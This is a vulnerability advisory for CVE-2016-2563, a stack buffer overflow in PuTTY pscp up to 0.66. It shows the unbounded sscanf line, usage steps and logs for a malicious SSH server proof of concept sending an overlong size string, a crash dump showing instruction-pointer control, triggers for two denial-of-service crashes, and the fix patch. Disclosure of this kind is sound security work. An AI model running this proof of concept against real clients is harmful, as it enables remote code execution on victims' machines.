|
Putty pscp <= 0.66 - Stack Buffer Overwrite Vulnerability
Overview
Name: putty
Vendor: sgtatham
Version: 0.66 [2]
Latest Version: 0.66
Other Versions: 0.59 [3] (~9 years ago) <= affected <= 0.66
Platform(s): win/nix
Technology: c
Vuln Classes: stack buffer overwrite (CWE-121)
Origin: remote
Min. Privs.: post auth
CVE: CVE-2016-2563
Description
quote website [1]
PuTTY is a free implementation of SSH and Telnet for Windows and Unix platforms, along with an xterm terminal emulator. It is written and maintained primarily by Simon Tatham.
Summary
The putty SCP command-line utility (pscp) is missing a bounds-check for a stack buffer when processing the SCP-SINK file-size response to a SCP download request. This may allow a malicious server to overwrite the stack buffer within the client- application potentially leading to remote code execution.
PoC attached. patch attached.
Besides that, two minor issues have been reported in putty packet handling:
DoS condition in the parsing of SSH-Strings that lead to a nullptr read. (connect putty to poc.py and type x11exploit to trigger one of multiple occurrence of a crash, also works with x11forwarding disabled in putty)
DoS condition in the handling of unrequested forwarded-tcpip channels open requests that lead to a nullptr read. (connect putty to poc.py and type forwardedtcpipcrash to trigger crash)
Details
The vulnerable code is located in pscp.c [4] line 1498 (HEAD) and is based on an unbound sscanf string format descriptor storing an arbitrary length string in a 40byte fixed size stack buffer sizestr[40].
Inline annotations are prefixed with //#!
1491 /*
1492 * If we get here, we must have seen SCP_SINK_FILE or
1493 * SCP_SINK_DIR.
1494 */
1495 {
1496 char sizestr[40]; //#! fixed size buffer
1497
1498 if (sscanf(act->buf, "%lo %s %n", &act->permissions, //#! unbound cstr %s written to sizestr
1499 sizestr, &i) != 2)
Proof of Concept
Prerequisites:
install python 2.7.x
issue #> pip install paramiko to install paramiko ssh library for python 2.x
make sure poc.py and test_rsa.key are in the same folder
poc:
Usage: [<listen_ip:port>] [--no-checks]
Default: 0.0.0.0:22
--no-checks ... disable client banner checks (for testing putty clones)
start the malicious sshd by running poc.py which by default will bind all ips, port 22.
INFO monkey-patch paramiko.Transport.open_channel
INFO monkey-patch paramiko.Transport._check_banner
INFO --start--
INFO ServerHostKey: 60733844cb5186657fdedaa22b5a57d5
INFO BIND: ('0.0.0.0', 22)
INFO Listening for connection ...
...
try to retrieve any file from the malicious sshd by executing pscp. Provide any user/password/pubkey, the server will just accept anything.
c:\> pscp.exe -scp root@localhost:/etc/passwd .
root@localhost's password: anything
key-exchange and authentication
...
INFO new peer: ('127.0.0.1', 6127)
DEBUG starting thread (server mode): 0x2411750L
INFO Connected (version 2.0, client PuTTY_Release_0.66)
DEBUG kex algos:[u'diffie-hellman-group-exchange-sha256', u'diffie-hellman-group-exchange-sha1', u'diffie-hellman-group14-sha1', u'diffie-hellman-group1-sha1', u'rsa2048-sha256', u'rsa1024-sha1'] server key:[u'ssh-rsa', u'ssh-dss'] client encrypt:[u'aes256-ctr', u'aes256-cbc', u'rijndael-cbc@lysator.liu.se', u'aes192-ctr', u'aes192-cbc', u'aes128-ctr', u'aes128-cbc', u'blowfish-ctr', u'blowfish-cbc', u'3des-ctr', u'3des-cbc', u'arcfour256', u'arcfour128'] server encrypt:[u'aes256-ctr', u'aes256-cbc', u'rijndael-cbc@lysator.liu.se', u'aes192-ctr', u'aes192-cbc', u'aes128-ctr', u'aes128-cbc', u'blowfish-ctr', u'blowfish-cbc', u'3des-ctr', u'3des-cbc', u'arcfour256', u'arcfour128'] client mac:[u'hmac-sha2-256', u'hmac-sha1', u'hmac-sha1-96', u'hmac-md5'] server mac:[u'hmac-sha2-256', u'hmac-sha1', u'hmac-sha1-96', u'hmac-md5'] client compress:[u'none', u'zlib'] server compress:[u'none', u'zlib'] client lang:[u''] server lang:[u''] kex follows?False
DEBUG Ciphers agreed: local=aes256-ctr, remote=aes256-ctr
DEBUG using kex diffie-hellman-group14-sha1; server key type ssh-rsa; cipher: local aes256-ctr, remote aes256-ctr; mac: local hmac-sha1, remote hmac-sha1; compression: local none, remote none
DEBUG Switch to new keys ...
DEBUG Auth request (type=none) service=ssh-connection, username=root
INFO Auth rejected (none).
INFO REQUEST: allowed auths: gssapi-keyex,gssapi-with-mic,password,publickey
DEBUG Auth request (type=gssapi-with-mic) service=ssh-connection, username=root
INFO Auth rejected (gssapi-with-mic).
INFO REQUEST: allowed auths: gssapi-keyex,gssapi-with-mic,password,publickey
DEBUG Auth request (type=password) service=ssh-connection, username=root
INFO REQUEST: CHECK_AUTH_PASS u'root' xxxxx
INFO * SUCCESS
INFO Auth granted (password).
...
pscp tries to retrieve file. Server responds with fake timestamps, permissions and an overly long filesize string overflowing the 40byte client buffer.
...
INFO REQUEST: CHAN session 0
DEBUG [chan 0] Max packet in: 32768 bytes
DEBUG [chan 0] Max packet out: 16384 bytes
DEBUG Secsh channel 0 (session) opened.
DEBUG [chan 0] Unhandled channel request "simple@putty.projects.tartarus.org"
INFO REQUEST: EXEC <paramiko.Channel 0 (open) window=2147483647 -> <paramiko.Transport at 0x2411750L (cipher aes256-ctr, 256 bits) (active; 1 open channel(s))>> scp -f /a
INFO Authenticated!
INFO wait for event
INFO wait for event
WARNING Oh, hello putty/pscp PuTTY_Release_0.66, nice to meet you!
INFO send (time): 'T1444608444 0 1444608444 0\n'
INFO send (perm): 'C755 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA \n'
INFO boom!
ERROR Peer did not ask for a shell within 10 seconds.
DEBUG EOF in transport thread
...
pscp crashes due to RET overwrite with EIP control (\x41==A). Can be turned into RCE (see annotation, EIP control)
FAULTING_IP:
unknown!noop+0
41414141 ?? ???
EXCEPTION_RECORD: ffffffffffffffff -- (.exr 0xffffffffffffffff)
ExceptionAddress: 0000000041414141
ExceptionCode: c0000005 (Access violation)
ExceptionFlags: 00000000
NumberParameters: 2
Parameter[0]: 0000000000000000
Parameter[1]: 0000000041414141
Attempt to read from address 0000000041414141
CONTEXT: 0000000000000000 -- (.cxr 0x0;r)
eax=00000000 ebx=00000000 ecx=00187dc0 edx=00000000 esi=003f1061 edi=00000000
eip=41414141 esp=00187e18 ebp=41414141 iopl=0 nv up ei pl zr na pe nc //#! EIP control
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
41414141 ?? ???
FAULTING_THREAD: 0000000000001d7c
PROCESS_NAME: pscp.exe
ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%08lx referenced memory at 0x%08lx. The memory could not be %s.
EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%08lx referenced memory at 0x%08lx. The memory could not be %s.
EXCEPTION_PARAMETER1: 0000000000000000
EXCEPTION_PARAMETER2: 0000000041414141
READ_ADDRESS: 0000000041414141
FOLLOWUP_IP:
unknown!noop+0
41414141 ?? ???
FAILED_INSTRUCTION_ADDRESS:
unknown!noop+0
41414141 ?? ???
NTGLOBALFLAG: 0
APPLICATION_VERIFIER_FLAGS: 0
APP: pscp.exe
ANALYSIS_VERSION: xxx
IP_ON_HEAP: 0000000041414141
The fault address in not in any loaded module, please check your build's rebase
log at <releasedir>\bin\build_logs\timebuild\ntrebase.log for module which may
contain the address if it were loaded.
IP_IN_FREE_BLOCK: 41414141
BUGCHECK_STR: APPLICATION_FAULT_BAD_INSTRUCTION_PTR_INVALID_POINTER_READ_ZEROED_STACK_EXPLOITABLE
PRIMARY_PROBLEM_CLASS: BAD_INSTRUCTION_PTR_EXPLOITABLE
DEFAULT_BUCKET_ID: BAD_INSTRUCTION_PTR_EXPLOITABLE
FRAME_ONE_INVALID: 1
LAST_CONTROL_TRANSFER: from 0000000041414141 to 0000000041414141
STACK_TEXT:
WARNING: Frame IP not in any known module. Following frames may be wrong.
00187e14 41414141 41414141 41414141 41414141 0x41414141
00187e18 41414141 41414141 41414141 41414141 0x41414141
00187e1c 41414141 41414141 41414141 00004141 0x41414141
00187e20 41414141 41414141 00004141 00000000 0x41414141
00187e24 41414141 00004141 00000000 00000000 0x41414141
00187e28 00000000 00000000 00000000 00000000 0x41414141
STACK_COMMAND: .cxr 0x0 ; kb
SYMBOL_STACK_INDEX: 0
SYMBOL_NAME: unknown!noop+0
FOLLOWUP_NAME: MachineOwner
MODULE_NAME: unknown
IMAGE_NAME: unknown
DEBUG_FLR_IMAGE_TIMESTAMP: 0
FAILURE_BUCKET_ID: BAD_INSTRUCTION_PTR_EXPLOITABLE_c0000005_unknown!noop
BUCKET_ID: APPLICATION_FAULT_BAD_INSTRUCTION_PTR_INVALID_POINTER_READ_ZEROED_STACK_EXPLOITABLE_BAD_IP_unknown!noop+0
ANALYSIS_SOURCE: UM
FAILURE_ID_HASH_STRING: um:bad_instruction_ptr_exploitable_c0000005_unknown!noop
FAILURE_ID_HASH: xxx
Followup: MachineOwner
---------
Troubleshooting
Q: ImportError: No module named py3compat
A: outdated paramiko please upgrade with pip install --upgrade paramiko
Remediation Steps
provide length to sscanf conversion specifier %s with a max of sizeof(sizestr)-1 %39s (see attached pscp.patch)
diff --git a/pscp.c b/pscp.c
index a4e55fe..809c20f 100644
--- a/pscp.c
+++ b/pscp.c
@@ -1495,7 +1495,7 @@ int scp_get_sink_action(struct scp_sink_action *act)
{
char sizestr[40];
- if (sscanf(act->buf, "%lo %s %n", &act->permissions,
+ if (sscanf(act->buf, "%lo %39s %n", &act->permissions,
sizestr, &i) != 2)
bump("Protocol error: Illegal file descriptor format");
act->size = uint64_from_decimal(sizestr);
Notes
Verified, resolved and released within one week. quite impressive.
Vendor response: see [5]
PuTTY clones based on the vulnerable version are probably affected. run #> poc.py 0.0.0.0:22 --no-checks to disable client banner checks
affected (kscp.exe): KiTTY <= 0.66.6.3 [6]
References
[3] http://tartarus.org/~simon-git/gitweb/?p=putty.git;a=tree;h=5baaacba07aff7bd680cf9954fee44a0c11dc968;hb=c8ac73ada6aa865ce9f4d0e389ba210072bc0b57
|
推荐
评论(0条)
